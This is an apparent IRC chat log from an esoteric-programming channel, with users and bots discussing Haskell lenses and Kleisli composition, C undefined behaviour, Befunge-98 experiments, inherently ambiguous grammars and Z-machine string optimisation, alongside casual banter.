01:48:56 <lambdabot> Expected type: GHC.Types.Bool -> Data.Maybe.Maybe () Actual type: GHC.Types....
01:49:56 <oerjan> fine tekmo you win this one
01:55:25 <oerjan> @check \f g x -> ((listToMaybe . ((f :: Bool -> [()]) <=< g)) (x::())) == ((listToMaybe . f) <=< (listToMaybe . g)) x
01:55:27 <lambdabot> *** Failed! Falsifiable (after 3 tests):
01:55:43 <oerjan> that's the one i misread it as initially
01:56:37 <oerjan> hm quickcheck could do with some better printing of function counterexamples :P
02:00:15 <oerjan> > let x = (); g _ = [False,True]; f = flip when [] in ((listToMaybe . ((f :: Bool -> [()]) <=< g)) (x::())) == ((listToMaybe . f) <=< (listToMaybe . g)) x
02:01:51 <oerjan> > let x = (); g _ = [True,False]; f = flip when [] in ((listToMaybe . ((f :: Bool -> [()]) <=< g)) (x::())) == ((listToMaybe . f) <=< (listToMaybe . g)) x
02:04:00 <lambdabot> Monad m => (b -> m c) -> (a -> m b) -> a -> m c
02:04:48 <oerjan> it's like compose, except in a monad (kleisli) category.
02:05:10 <shachaf> it is compose in that category
02:05:40 <shachaf> oerjan: remind me what the thing about the kleisli category being the category of free algebras was?
02:06:38 <oerjan> long since forgotten, although istr all monads essentially coming from varieties of universal algebras
02:07:41 <oerjan> basically you get a monad by combining the adjunctions of the free and underlying functions of such a variety...
02:08:11 <oerjan> *combining the adjoint free
02:08:14 <shachaf> oh, variety is a technical word
02:08:45 <oerjan> basically "defined by equations", like monoids, groups or rings
02:09:59 <oerjan> if you can also have implications between equations, you have a quasi-variety
02:10:38 <oerjan> and fields don't count because you need to be able to have an implication from an _in_equality (x /= 0 => x has inverse)
02:11:00 <shachaf> that sounds more complicated than the thing about free algebras
02:11:30 <oerjan> well one of the things about varieties is that they _have_ free algebras.
02:11:58 <oerjan> i'm not quite sure on the spot if quasi-varieties do too, but e.g. fields don't.
02:13:31 <oerjan> a -> m b means of course a function from a to the free algebra on b, in this picture
02:14:07 <oerjan> or well, to the underlying set of the free algebra
02:14:07 <shachaf> wait, what's an algebra here
02:14:22 <oerjan> well for [] the algebras are monoids
02:14:29 <shachaf> i'm thinking of https://en.wikipedia.org/wiki/Monad_(category_theory)#Algebras_for_a_monad
02:14:59 <shachaf> oh, maybe that page answers my question
02:16:10 <shachaf> i'm not sure it does, it just claims it's true
02:16:52 <oerjan> i am not about to try and understand that again
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02:21:20 <Jafet> "Quickcheck found a counterexample: f = (\<lambda>x. [])(False := [()]) g = \<lambda>x. [True, False] x = ()"
02:22:19 <Jafet> (This took longer than it should have, because HOL doesn't have proper monads)
02:23:03 <oerjan> that's exactly the same example, isn't it :P
02:23:24 <oerjan> except that f syntax is weird
02:25:00 <Jafet> It uses function update syntax
02:25:36 <oerjan> i still _think_ it's equivalent to the f = flip when [] that i wrote.
02:26:22 <Jafet> It looks like that's the only counterexample, up to permutations
02:26:48 <oerjan> well i think you could have more elements in the [()] list
02:26:53 <Jafet> (flip unless [] would also work, for example)
02:27:39 <oerjan> and more elements in the [True,False] list as well
02:29:54 <oerjan> f needs to return [] for the first element in the list g returns, and non-[] for some other element
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05:03:14 <fizzie> The wiki-to-IRC pipe should also be back up now.
05:03:19 <fizzie> (It's not automagicalized.)
05:04:09 <coppro> am I insane for wanting to do math in agda?
05:04:21 <coppro> I think I've lost track of what sane is these days
05:04:51 <Bike> have you been prescribed psychoactive drugs by a health maintenance institution
05:07:10 <coppro> but that's because I've been avoiding the shrinks
05:07:18 <coppro> also the grows, but that's less urgent
05:11:10 <elliott_> did you know some of us are actually mentally ill
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05:19:43 <oerjan> elliott_: hey stop scaring away the normals. both of them.
05:20:17 <quintopia> oerjan: we're all normal here. i'm normal. you're normal.
05:20:31 <oerjan> how do you know i'm normal.
05:45:41 <FreeFull> coppro: Why not do math in brainfuck?
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08:32:49 <Mikescher> !bfjoust mikescher_so_multivac_v1 http://maximum-sonata.codio.io/myBot.bfjoust
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08:47:55 <fizzie> Did Gregor just miss EgoBot too, or was that intentional?
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08:59:31 <impomatic_> Gregor: thanks for fixing the logging.
09:01:00 <impomatic_> Would it be possible for me to have the #corewars glogbackup logs check? (I generally follow up on any questions, comments etc from when I'm offline)
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10:35:46 <boily> glogbot: <boily> dextromethorphan hydrobromide, pseudoephedrine hydrochloride, guaifenesin, and acetaminophen.
10:35:57 <fizzie> boily: Are you TRYING to get us on some sort of a watch list?
10:39:26 <boily> fizzie: me? nah. nothing surprising at all in here. it's only cough syrup with some paracetamol in it.
10:40:21 <fizzie> boily: People do drink DXM for fun, you know.
10:43:39 <boily> people make purple drank for fun too. that's their problem, not mine.
10:44:08 <boily> (like that time my stupid cousin went to a bar one time, and downed a whole bottle of syrup during the night. I wonder how he's still alive.)
10:52:48 <fizzie> I guess it's a moot point, since a quick log-grep reveals (2011-07-02) someone conversing about how they "just cant seem to stop doing -- dissociative hallucinogens -- whether it be Ketamine or dextromethorphan". (In a discussion which I'm sure was very on-topic.)
10:53:11 <fizzie> Oh, it's on-topic, it's just the wrong topic, since it goes into "crowleyan magick" and "charging sigils" immediately after.
10:53:40 <fizzie> I don't think we've seen many "wrong kind of esoteric" visitors as of late.
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10:56:17 <boily> of the multiple wrong kinds, I don't think I have seen any hispanophones here lately.
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10:56:49 <b_jonas> huh? what's the problem with hispanophones? spanish isn't esoteric a language enough?
10:56:58 <b_jonas> yeah, I guess English is more esoteric
10:57:23 <Jafet> Judging from their channel topic, I believe #selinux has a related problem.
10:57:58 <fizzie> Heh, I parsed that as "Swedish Linux" before even thinking of SELinux.
10:58:40 <boily> b_jonas: same thing with us here. “spanish oteric”. we've got people from Colombia and Venezuela, mainly.
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11:04:30 <b_jonas> I thought most channels that are language-specific versions of other channels have a language code at the end of the name following either a "-" or a "." separator
11:04:36 <b_jonas> but of course the confusion can make sense
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11:06:49 <Jafet> The english-speaking channel for all emacs distributions, #emacsenen.
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11:38:09 <Melvar> quintopia: There appears to be a ddos attack going on again.
11:38:33 <quintopia> Melvar: same story, different attackers
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12:02:50 <DootBot> TieSoul: PogChamp seems everybody's roll say. pew three? essentially be bot get? ヽ༼ຈل͜ຈ༽ﾉ ##bottesting OR?
12:04:00 <quintopia> fungot seems to make slightly more sense
12:04:00 <fungot> quintopia: indeed you do, replace those square brackets make plt code hard to read
12:06:42 <TieSoul> Not really anything at the moment
12:06:56 <DootBot> TieSoul: lotid, anyways cole over seen? I've because of the 3 shit that reason have!
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13:24:10 * DootBot it'd TPP talked is could! KILL curve why on be. anyway. were is certain.
13:34:46 <fungot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-bot ( , jconn ) , blsqbot !
13:34:57 <HackEgo> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-bot ( , jconn ) , blsqbot !
13:36:10 <myname> some time in the future we won't be able to write anything without triggering a bot
13:38:54 <Melvar> Given that several of the listed ones seem to be missing, I am not worried.
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13:43:10 <fizzie> EgoBot is (hopefully) only temporarily gone; there's the whole bfjoust community to take care of, after all.
13:43:31 <fizzie> And metasepia's intermittently here.
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13:49:21 <Melvar> Far as I can tell, jconn has been disappeared since May. I was going to say I don’t know I’ve seen blsqbot, but it’s been around.
13:56:56 <b_jonas> Melvar: I don't run jconn continuously, only start it occasionally from my home computer. The alternative is j-bot which fftw runs, and was in on #jsoftware about five hours ago, it just isn't set up to join this channel.
13:57:25 <b_jonas> The instance I run at home occasionally is evalj, with the prefix ]
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13:57:36 <b_jonas> and for jconn it's ) , yes
13:57:41 <b_jonas> but all of them listen to their name too
13:58:17 <b_jonas> I don't recall whose jconn is
13:58:25 <b_jonas> maybe it's jconn that's fftw's?
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15:16:29 <Bike> http://blog.openworm.org/post/96090226275/any-advanced-math-wizards-out-there
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15:59:38 <fizzie> b_jonas: Does "fftw" have anything to do with FFTW?
16:02:39 <b_jonas> fizzie: yes, I believe that's where he's got his nick
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17:22:19 <Sgeo_> Is there a function (a -> Bool) -> Traversal' a a such that the traversal it makes traverses only when its argument gives back true?
17:23:02 <Sgeo_> I have a feeling a function of that type might be a bit.. essential in a dynamically typed setting
17:24:13 <elliott> no, because you can pass back in an a that would fail the predicate, breaking the laws
17:25:07 <Sgeo_> Didn't there used to be a function that could break the laws?
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17:42:33 <Jafet> iceweasel (31.0-1) unstable; urgency=medium
17:42:34 <Jafet> * Since version 30.0, NTLMv1 authentication has been disabled because it's known as insecure. Companies and organizations still deploying the older protocol should upgrade to NTMLv2, unfortunately, it's not supported by iceweasel.
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19:10:47 <fizzie> http://sprunge.us/jeLQ -- this (picked up from ##c) was quite amusing. (Undefined, of course.)
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19:18:21 <fizzie> http://sprunge.us/aHQj is kind of analogous except relying on non-finite math rather than undefined stuff.
19:20:10 <`^_^v> what's the UB in the first one?
19:20:32 <fizzie> If you wonder about scanf(...) == 1, well, you know how GCC can be, all "warning: ignoring return value of 'scanf', declared with attribute warn_unused_result", so I just wrote an ion. (That's an assertion without the assert.)
19:21:13 <fizzie> I'm guessing it's generating a trap representation -- an object representation that does not represent a value of the type.
19:21:37 <fizzie> Well, not the generating, the act of reading it.
19:21:42 <olsner> representation of _Bool, I assume.. e.g. it might be a byte and might require that the byte be either 1 or 0
19:21:54 <fizzie> Yes, that's very conventional.
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19:22:28 <olsner> and if (v.c) could perhaps generate something like if (v.c == true), which would then fail
19:22:30 <fizzie> "Certain object representations need not represent a value of the object type. If the stored value of an object has such a representation and is read by an lvalue expression that does not have character type, the behavior is undefined." (C11 6.2.6.1p5)
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19:26:24 <fizzie> That's quite close. Actually, with optimizations off, it does "xorl $1, %eax; testb %al, %al; je skip_over_the_true_branch" to perform the !v.c test.
19:27:03 <fizzie> With optimizations on, it might generate something else, but it also assumes (quite rightly) a boolean and only tests once.
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19:27:26 <fizzie> (In fact, my test case of if (x) f(); if (!x) f(); got turned into f(); alone.)
19:28:08 <olsner> the xor thing is odd though, if it does the test anyway, why not just do jne instead?
19:28:32 <fizzie> Well, I mean, it's a straight-forward translation.
19:28:44 <olsner> ah, it was optimization off
19:28:59 <fizzie> Yes. The "!" is the "xorl $1, %eax" part, and then comes the if (...) part.
19:33:03 <fizzie> Curiously enough, this clang (with optimizations off) ands the _Bool value by 1 before doing any testing. With them on, it assumes, but also just tests once for nonzeroness. So both "work".
19:35:35 <zzo38> In LLVM there is the i1 type for booleans
19:40:15 <zzo38> But I think it would also be better the way Pascal does it; the type specifies the range of possible values.
19:45:02 <zzo38> So you can write it is 0 to 255, or whatever
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19:55:26 <Tiesoul> !befunge98 "CEXE"4(5R#@6.@
19:55:37 <Tiesoul> is that supposed to happen?
19:56:28 <Tiesoul> !befunge98 "CEXE"4(5K#@6. @
19:56:32 <DootBot> Tiesoul: (Execution timed out.)
19:56:36 <Tiesoul> !befunge98 "CEXE"4(5K#@6. @
19:56:40 <DootBot> Tiesoul: (Execution timed out.)
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20:02:15 <Tiesoul> !befunge98 "CEXE"4(5R#@6.@
20:02:45 <Tiesoul> this should output 6 I think
20:03:03 <Tiesoul> !befunge98 "CEXE"4(5K#@6.@
20:03:07 <DootBot> Tiesoul: (Execution timed out.)
20:03:18 <Tiesoul> !befunge98 "CEXE"4(4K#@6.@
20:03:24 <Tiesoul> !befunge98 "CEXE"4(1K#@6.@
20:03:27 <Tiesoul> !befunge98 "CEXE"4(2K#@6.@
20:03:53 <Tiesoul> !befunge98 "CEXE"4(2R#@6.@
20:04:37 <Tiesoul> !befunge98 "CEXE"4('#1X@5.@
20:04:44 <Tiesoul> !befunge98 "CEXE"4('#2X@5.@
20:06:02 <Tiesoul> !befunge98 "CEXE"4(cA#@5.@
20:06:21 <Tiesoul> !befunge98 "CEXE"4(d0A#@5.@
20:06:30 <Tiesoul> this shouldn't happen I think
20:06:57 <Tiesoul> !befunge98 "CEXE"4(e01A#@5.@
20:07:20 <Tiesoul> !befunge98 "CEXE"4(d01A#@5.@
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20:15:16 <Taneb> Today I saw Guardians of the Galaxy, for the third time
20:15:37 <Taneb> Which I think makes it the movie I have seen the most number of times in a cimema
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20:56:35 <Taneb> It's a fun, light-hearted sci-fi movie
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21:17:26 <DootBot> Taneb: !guess can you change shit Kappa yourself!
21:17:57 <zzo38> What does that mean?
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22:13:54 <quintopia> no seriously there is a demon in this computer
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22:17:54 <Sgeo_> quintopia: I suggest dunking it in holy water.
22:18:51 <quintopia> Sgeo_: i don't have enough money to buy a replacement :/
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22:26:41 <b_jonas> so I'm reading the classic textbook Aho, Ullman, "The Theory of Parsing, Translation, and Compiling", (1972),
22:27:02 <b_jonas> and it seems like a really good book that tells what I wanted to learn about context-free languages in a style I like
22:27:28 <b_jonas> but there's a sentence in it that seems as if it's written to address the community of this channel specifically
22:28:54 <b_jonas> after stating that there are context-free languages that have no unambiguous context-free grammars, and that these are called inherently ambiguous, it states “no inherently ambiguous programming languages have been devised yet”
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22:35:15 <oerjan> hijsel (your nick is a pun on your real name, right?)
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22:36:16 <oerjan> that was to TieSoul-mobile
22:37:30 <oerjan> i saw his windows username in something he pasted
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22:42:34 <HackEgo> [wiki] [[List of ideas]] http://esolangs.org/w/index.php?diff=40358&oldid=40351 * B jonas * (+487) /* Mathematics */ inherently ambiguous context-free language
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22:46:02 <fizzie> oerjan: Not at all, Mr. Johansen.
22:48:01 <oerjan> although i'm not sure it counts when we put it openly in the real name field
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22:49:40 <b_jonas> does such a language already exist?
22:50:32 <oerjan> i recall oklopol had a language that guessed the meaning from the types
22:50:39 <oerjan> or something like that
22:54:01 <shachaf> coppro: asking "is anyone around?" when you have a specific question isn't very nice
22:58:32 <oerjan> :t \p -> prism' id (mfilter p)
22:58:34 <lambdabot> (Choice p, Applicative f) => (a -> Bool) -> p a (f (Maybe a)) -> p (Maybe a) (f (Maybe a))
22:59:44 <oerjan> > [1,2,3,4] & traverse.prism' id (mfilter odd) %~ (+2)
22:59:45 <lambdabot> Occurs check: cannot construct the infinite type:
22:59:45 <lambdabot> Expected type: a -> Data.Maybe.Maybe a
23:00:11 <lambdabot> MonadPlus m => (a -> Bool) -> m a -> m a
23:00:47 <oerjan> > [1,2,3,4] & traverse.prism' id (mfilter odd.return) %~ (+2)
23:01:04 <oerjan> Sgeo_: ^ *MWAHAHAHAHA*
23:01:35 <shachaf> > [1,2,3,4] & traverse . filtered odd %~ (+2)
23:01:53 <oerjan> oh i didn't find that where i looked
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23:02:22 <oerjan> it can only traverse one item after all >:)
23:02:29 <Sgeo_> > [1,2,3,4] & traverse . filtered odd %~ (+1)
23:02:50 <oerjan> i suppose making it not a prism discourages using it in even more evil ways
23:03:58 <shachaf> it's even more law-violating as a prism
23:04:14 <shachaf> since there's no guarantee that the predicate applies to the thing you're constructing
23:04:50 * Sgeo_ ponders a Detect profunctor, that just contains a hashmap of symbols to bools, starting them all at true, and as various capabilities are used, setting them false as needed
23:04:56 <oerjan> right, but it breaks for the same reason - not treating the selected subset as a closed type
23:05:37 <shachaf> i guess "closed under whatever arbitrary operation/value you provide"
23:05:39 <Sgeo_> e.g. using dimap sets 'id to #f, using strong/etc. sets 'iso to #f
23:06:25 <Sgeo_> So effectively determining the 'type' of optic even though they're all functions in a dynamically typed language
23:07:59 <Sgeo_> Hmm, actually, dimap id id would fail to be id, hmm
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23:09:18 <Sgeo_> But still, it reveals what will and will not throw an exception
23:09:42 <Sgeo_> Even if dimap blah id id should be morally equivalent to blah, it isn't because blah might not be a profunctor
23:09:53 <Sgeo_> (Ok, so I'm changing order of arguments a bit)
23:16:51 <oerjan> oh hm filtered is in Control.Lens.Fold because that's the only use that's definitely safe
23:17:03 <oerjan> but it's defined such that it allows cheating
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23:32:20 <oerjan> b_jonas: oh inherently ambiguous is a technical term
23:32:37 <b_jonas> oerjan: yes, I tried to explain what it means
23:32:42 <oerjan> in that case i _really_ doubt any have been made
23:33:20 <b_jonas> I mean, there's so many esolangs, and this fact isn't something secret, it's in many other books about formal languages too, even if not formulated as a call for challenge
23:33:30 <oerjan> well it's a more advanced concept than most esolangs use, frankly
23:34:45 <oerjan> also i haven't read the wiki article yet, i need to catch up on the wiki later
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23:36:52 <b_jonas> oerjan: you don't have to read what I wrote on the wiki, I just said the same thing on this channel 70 minutes ago
23:36:59 <b_jonas> I think even a very simple construction might work,
23:37:52 <b_jonas> such as a brainfuck variant where if the program doesn't have balanced brackets then it's considered a brainfuck program with an alternate symbol set where <> are the loop delimiters and [] are the head move operators
23:38:56 <b_jonas> but it would be nicer if the language wasn't a brainfuck variant of course
23:41:08 <oerjan> hm i take it the language of unbalanced brackets isn't context-free then?
23:43:31 <b_jonas> the language of unbalanced brackets is context-free
23:43:32 <oerjan> hm actually i doubt that
23:43:50 <oerjan> because i recall defining a monoid of bracket matching state
23:44:09 <oerjan> in that case i doubt your language actually is inherently ambiguous
23:44:19 <b_jonas> the book proves that the complement of any language recognized by a deterministic push-down automaton can also be recognized by a deterministic push-down automaton, which proves it's context-free
23:44:48 <b_jonas> but the point here is that if the brackets are balanced, then the program is still valid, with the original brainfuck semantics
23:45:10 <oerjan> yes, but that doesn't mean it's intrinsically ambiguous
23:45:34 <b_jonas> so the set of valid programs is the language of strings with balanced brackets unioned with the language of strings with balanced angle brackets,
23:45:38 <oerjan> you might be able to separate the two legal sublanguages into disjoint context-free languages
23:46:12 <b_jonas> well, I'm not completely sure it's intrinsically ambiguous yet, so you might need a somewhat different construction, yes
23:47:05 <oerjan> hm well the latter is an intersection language, so not necessarily context-free
23:48:24 <oerjan> although that doesn't prove you cannot split in a different way
23:48:36 <oerjan> well you go ahead finding a proof :P
23:49:15 <b_jonas> that, but more importantly define a similar language that isn't a brainfuck derivative, because we don't need another brainfuck derivative
23:50:55 <Sgeo_> Is there something like at or ix (not sure which) that allows for a default if the key isn't found? I assume that's only safe if the user promises to treat "no value present" as "this value is the default" consistently
23:51:22 <b_jonas> Sgeo_: for what data structure?
23:51:39 <Sgeo_> Is the thing I most have in mind
23:52:07 <b_jonas> guessing yes, let me look it up
23:52:53 <oerjan> Sgeo_: you use those together with non
23:53:24 <lambdabot> (Profunctor p, Functor f, Eq a) => a -> p a (f a) -> p (Maybe a) (f (Maybe a))
23:53:49 <b_jonas> Sgeo_: http://www.haskell.org/ghc/docs/7.6.3/html/libraries/containers-0.5.0.0/Data-Map-Lazy.html#v:findWithDefault
23:54:05 <oerjan> b_jonas: he's talking about lens
23:54:30 <b_jonas> oh, so that's why those names "ix" and "at" are so strange
23:54:46 <Sgeo_> But this always forcibly deletes the entry if you try to set to the value given to the non
23:54:48 <b_jonas> ("at" would make sense in C++)
23:55:02 <oerjan> Sgeo_: yes that's considered a feature?
23:56:00 <Sgeo_> I love simple :: Iso' a a.
23:56:34 <oerjan> that _is_ pretty simple
23:57:45 <Sgeo_> Is Equality' what I called 'id, or something else?
00:00:07 <oerjan> well it has the usual four stabs
00:00:29 * oerjan is apostrophically blind
00:03:59 <Sgeo_> What can you do with equalities that you can't do with isos?
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00:11:51 <b_jonas> the name "Equality'" reads scary to me,
00:12:31 <b_jonas> because it sort of reminds me to SML which doesn't have real typeclasses but only a few built-in ones, so "'a" is an ordinary type variable and "''a" is an Eq-constrained one
00:15:13 <idris-bot> (input):1:2: error: expected: name
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00:21:34 <zzo38> How can we make applicative LR parsers in Haskell?
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00:23:44 <lambdabot> ‘inone’ (imported from Control.Lens),
00:24:28 <zzo38> With Lemon, the tokenizer calls the parser. To do it with Haskell you would make the parse state to be a function that receives a token and returns the next parse state. Using this you could perhaps make parsers to form a category too, for example simply the composition of the tokenizer with the parser.
00:25:24 <Bike> it's not haskell until you make a category out of it.
00:27:33 <zzo38> The identity would then be a program consisting of a single token and the parsed value also consists of exactly the single token. It doesn't seems very useful but it would be mathematically the identity morphism anyways.
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00:28:43 <zzo38> For example if it is based on (Free ((->) token)) then it looks like it, but it doesn't seems like you are making a applicative LR parser out of that; it looks like LL parser. So, how can you make applicative LR parser?
00:29:39 <zzo38> (It seems like it would also have to be one which isn't a monad, and is only applicative?)
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01:02:19 <lambdabot> ‘inone’ (imported from Control.Lens),
01:02:24 <lambdabot> FoldableWithIndex i f => (i -> a -> Bool) -> f a -> Bool
01:02:34 <Sgeo_> :t id <$> pure id <*> pure id
01:03:02 <Sgeo_> How lazy should traversals be to make them useful?
01:03:19 <Sgeo_> I guess always having them target every point is not actually too useful in many circumstances
01:04:41 <Sgeo_> If a lens is an iso from a value to a pair of the original value and a focus, can I have a traversal be an iso from a value to a pair of the original value and a list of of focuses, or something?
01:05:28 <int-e> what happened, every time I look in here the discussion is about lenses ...
01:06:14 <oerjan> Sgeo_: i'm not sure what i was looking for with inon actually exists
01:06:42 <oerjan> indexed version of non
01:06:52 <int-e> shachaf: oh can I find non-lens discussions there?
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01:08:51 <oerjan> hm in fact there don't seem to _be_ indexed Isos
01:10:15 <coppro> help I'm trapped in an agda
01:11:32 <oerjan> Sgeo_: i don't think a lens is that hth
01:12:01 <Sgeo_> Profunctor p => p (a, o) (b, o) s t
01:12:36 <Sgeo_> Is that meaningful as a Lens s t a b?... argh
01:13:29 <oerjan> if that's forall p then it's an Iso
01:13:41 <shachaf> since when does a profunctor have four arguments
01:14:10 <Sgeo_> Profunctor p => p (a, o) (b, o) -> p s t
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01:14:42 <shachaf> maybe you're looking for unlenses
01:15:00 <oerjan> or wait is the o supposed to be forall'ed too
01:15:10 <oerjan> where is edwardk when we need him
01:15:20 <oerjan> (probably in #haskell-lens, right?)
01:15:29 <shachaf> class Unlensy p where unlensy :: p (e, a) (e, b) -> p a b
01:15:39 <shachaf> oerjan: hey profunctor lenses are my thing
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01:15:46 * Sgeo_ doens't know what unlenses are
01:15:50 <oerjan> hm right. what are unlenses?
01:16:07 <Sgeo_> I'm just trying to think of that type because after I use strong I think it's what's left to define
01:16:12 <shachaf> (forall p. ... p => p a b -> p s t) is the "normal" direction for optics.
01:16:19 <Sgeo_> And by strong I mean first'
01:16:23 <shachaf> But you can make a dual class where it's (forall p. ... p => p t s -> p b a)
01:16:49 <shachaf> In the case of Iso the dual of Profunctor is Profunctor, of course. Instead of (s -> a, b -> t) it's (b -> t, s -> a) but that's the same thing.
01:17:03 <shachaf> For various restrictions of p you get different classes.
01:17:18 <shachaf> class Lensy p where lensy :: p a b -> p (e,a) (e,b)
01:17:25 <shachaf> class Unlensy p where unlensy :: p (e,a) (e,b) -> p a b
01:17:54 <shachaf> newtype Un p a b s t = Un { runUn :: p t s -> p b a }
01:18:29 <shachaf> instance Lensy p => Unlensy (Un p a b)
01:18:36 <shachaf> instance Unlensy p => Lensy (Un p a b)
01:18:53 <shachaf> there is a bizarro dual world of optics hiding there
01:19:17 <shachaf> you can now apply functions
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01:28:29 <oerjan> shachaf: lot simpler than that hth
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01:30:35 <shachaf> when i read _The Amazing Maurice and his Educated Rodents_ i didn't know how "cooperate" was pronounced
01:30:48 <shachaf> i assumed it was like "recuperate" is pronounced but without the "re"
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01:37:21 <zzo38> What is best way I can do optimization involving reordering instructions in order to allow further optimizations?
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02:10:40 <Sgeo_> "You can have profunctor only lenses, but the price is that you can no longer use "traverse" and similar as a lens"
02:10:43 <Sgeo_> What's that about?
02:13:30 <shachaf> (p a b -> p s t) and (traverse :: (a -> f b) -> s -> f t) don't unify.
02:14:09 <Sgeo_> But it doesn't really make sense to use traversals as lenses, unless you insist on monoidness
02:14:28 <oerjan> oh. it means traverse as a traversal.
02:15:09 <oerjan> and fold as a fold iirc
02:15:15 <lambdabot> (Monoid m, Foldable t) => t m -> m
02:15:28 * Sgeo_ reads an old version of a gist that has a Bazaar definition in it
02:15:35 <oerjan> :t Data.Foldable.foldMap
02:15:36 <lambdabot> (Monoid m, Foldable t) => (a -> m) -> t a -> m
02:16:25 <Sgeo_> *understandable Bazaar definition
02:16:29 <Sgeo_> https://gist.github.com/sjoerdvisscher/7043326/92492c6bb8e1e1ca9c0b96eb04e67eecc0c6b1e0
02:16:47 <shachaf> That type isn't quite the same as Bazaar.
02:17:02 <shachaf> (Only because of things like infinite traversals.)
02:17:07 <shachaf> Also, it seems more complicated than Bazaar to me.
02:17:50 <shachaf> Traversal s t a b = forall f. Applicative f => (a -> f b) -> s -> f t
02:18:07 <shachaf> Traversal s t a b ~~ s -> forall f. Applicative f => (a -> f b) -> f t
02:18:13 <Sgeo_> That's not a pure profunctor ttraversal, is it?
02:18:32 <shachaf> Oh, this is about pure profunctor lenses.
02:18:54 <shachaf> I stil think the FunList definition is more confusing than, say, representability.
02:19:12 <shachaf> Which is where you pick p f x y = (x -> f y)
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03:00:25 <HackEgo> olist (961): shachaf oerjan Sgeo FireFly boily nortti
03:04:33 <shachaf> olists are so infrequent these days that this feels like a waste :'(
03:04:43 <shachaf> maybe after i gain more information i'll think differently
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03:34:35 <zzo38> The "register forwarding format" makes more sense to me than the standard "single static assignment".
03:36:15 <zzo38> The difference is that there are no phi functions; instead, each label which is a possible branch target takes parameters.
03:36:42 <zzo38> (It also therefore looks like easier to compile into Haskell do-notation)
03:37:20 <pikhq> I'm pretty sure those are isomorphic.
03:38:05 <zzo38> It probably is, although still they would have different advantages and disadvantages, I think.
03:38:34 <shachaf> maybe the person with the hair is secretly on the vampire's side
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03:43:17 <zzo38> Do any programs use this register forwarding format though?
04:00:46 <oerjan> shachaf: EMBRACE THE OLIST
04:35:54 <zzo38> I wanted to make an optimization where if a text string is a suffix of another one, it can combine them. This is Z-machine strings, so it should only do if the prefix and suffix are both at least three characters long. Also due to the way the text packing works, in some cases it can be used even if it is not a suffix.
04:36:22 <zzo38> For example, if two strings are "It doesn't work!" and "It broke and now it doesn't work!" then the first one can be considered as a suffix of the second one even though it isn't.
04:37:44 <zzo38> Do you have advice of it?
04:40:29 <zzo38> In this example, you would have to ensure that the prefix ("It broke and now ") ends up in temporary shift state 1. Modulo the number of Z-characters by 3 to determine the sequence it needs to end with: If zero, the sequence is 544. If one, the sequence is 54544 or 55544. If two, the sequence is 4. (In the example, it happens to contain 18 Z-characters, so the sequence is 544.)
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05:58:40 <Sgeo_> Is there a way to combine two lenses to get a traversal?
05:58:57 <Sgeo_> e.g. if I want to manipulate targets of both (at "hi") and (at "Bye") at the same time
05:58:58 <shachaf> If the lenses overlap, that can make an invalid traversal.
06:23:12 <oerjan> don't cross the lenses
06:25:43 <HackEgo> [wiki] [[Brainfuck implementations]] M http://esolangs.org/w/index.php?diff=40359&oldid=40304 * Rdebath * (+0) Syntax
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07:00:44 <zzo38> I hope you know some things about these optimization, because I do not know how to efficiently make such a thing.
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07:03:41 <Sgeo_> Would there be anything wrong with me using a function of the type SomeClass p => p a b -> p [a] [b] to enable Traversals?
07:04:00 <Sgeo_> In a dynamically typed language?
07:04:54 <shachaf> Traversable f => p a b -> p (f a) (f b)
07:05:01 <shachaf> Anyway, traversals aren't lists.
07:05:12 <shachaf> Folds aren't lists. They're trees.
07:09:43 <Sgeo_> Folds aren't in my mental model yet
07:10:56 <shachaf> Foldable behaves a lot like class Foldable f where toList :: f a -> [a]
07:11:02 <shachaf> But it's not exactly that. Why not?
07:13:49 <Sgeo_> Efficiency reasons? I don't know
07:16:46 <Sgeo_> I should probably be sleeping
07:20:16 <lambdabot> Getting (Endo [a]) s a -> s -> [a]
07:20:29 * Sgeo_ runs somewhere in the opposite direction
07:21:31 <zzo38> How many patterns does a peephole optimizer normally have?
07:21:33 <shachaf> These types aren't that scary.
07:22:00 <Sgeo_> Hmm... Lists are a specific traversable... who is forcing the traversable to a specific instance? The traversal, or the function running the traversal (e.g. toListOf), or something else?
07:22:10 <zzo38> I have written one; it is not yet complete, but so far it consists of over 200 patterns.
07:24:29 <Sgeo_> Would I be wrong in suspecting it's the traversal that forces the Traversable to be a specific instance?
07:25:17 <Sgeo_> It's the one calling ... whatever the Traversable f => p a b -> p (f a) (f b).... which as I understand wouldn't appear in the specific type... although p needs to support that function
07:26:17 <Sgeo_> Was sort of having an idea of having a function for lists, a function for stream, etc... if any of my thinking is correct, I could generalize that, maybe. Thanks shachaf.... (thank you even if I'm way off base)
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07:55:29 <augur> so whats the latest in esoteric proglangs
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09:08:49 <TieSoul> I'm implementing FPSP and FPDP in RubyFunge, and I was wondering if I should round the output.
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09:14:30 <DootBot> TieSoul: 1.4142135623730951
09:14:51 <DootBot> TieSoul: 1073127582 1719614413
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09:24:21 <TieSoul> someone is going around using my name
09:34:44 <Jafet> It knows where you live
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09:43:01 <TieSoul> and is somehow logged in at my IP
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09:48:25 <elliott> TieSoul: it's just another client running on your computer or something.
09:48:38 <elliott> 10:48:29 [freenode] [ctcp(TieSoul_)] VERSION
09:48:38 <elliott> 10:48:29 [freenode] CTCP VERSION reply from Tiesoul_: CIRC 0.6.5.8 Chrome
09:48:38 <elliott> 10:48:31 [freenode] [ctcp(TieSoul)] VERSION
09:48:38 <elliott> 10:48:31 [freenode] CTCP VERSION reply from TieSoul: CIRC 0.6.5.8 Chrome
09:48:45 <elliott> they're even using the same client as you!!
09:49:03 <TieSoul> and why only to #esoteric huh?
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09:50:05 <TieSoul> lel sorry for freaking out
09:50:24 <TieSoul> it's pretty weird though how it was named Tiesoul_ and not TieSoul_.
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10:38:59 <fizzie> I don't know about CIRC, but irssi is p. easy to connect twice, by getting disconnected and then doing a manual /connect without using /rmreconns to stop the pending automatic reconnect.
10:41:27 <TieSoul> well, in any case, it seems RubyFunge is slower (at least with ys) than any of the interpreters listed in http://users.tkk.fi/~mniemenm/befunge/mycology-comparison.html, based on the HRTI part
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10:44:32 <TieSoul> !befunge98 "ITRH"4(MnyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyT.@
10:45:38 <TieSoul> !befunge98 "ITRH"4(M"AMOR"4(T.@
10:50:47 <TieSoul> that Ruby can't handle microseconds
10:51:34 <fizzie> The "y benchmark" is kind of silly.
10:51:42 <fizzie> Nobody really executes y in a tight loop, after all.
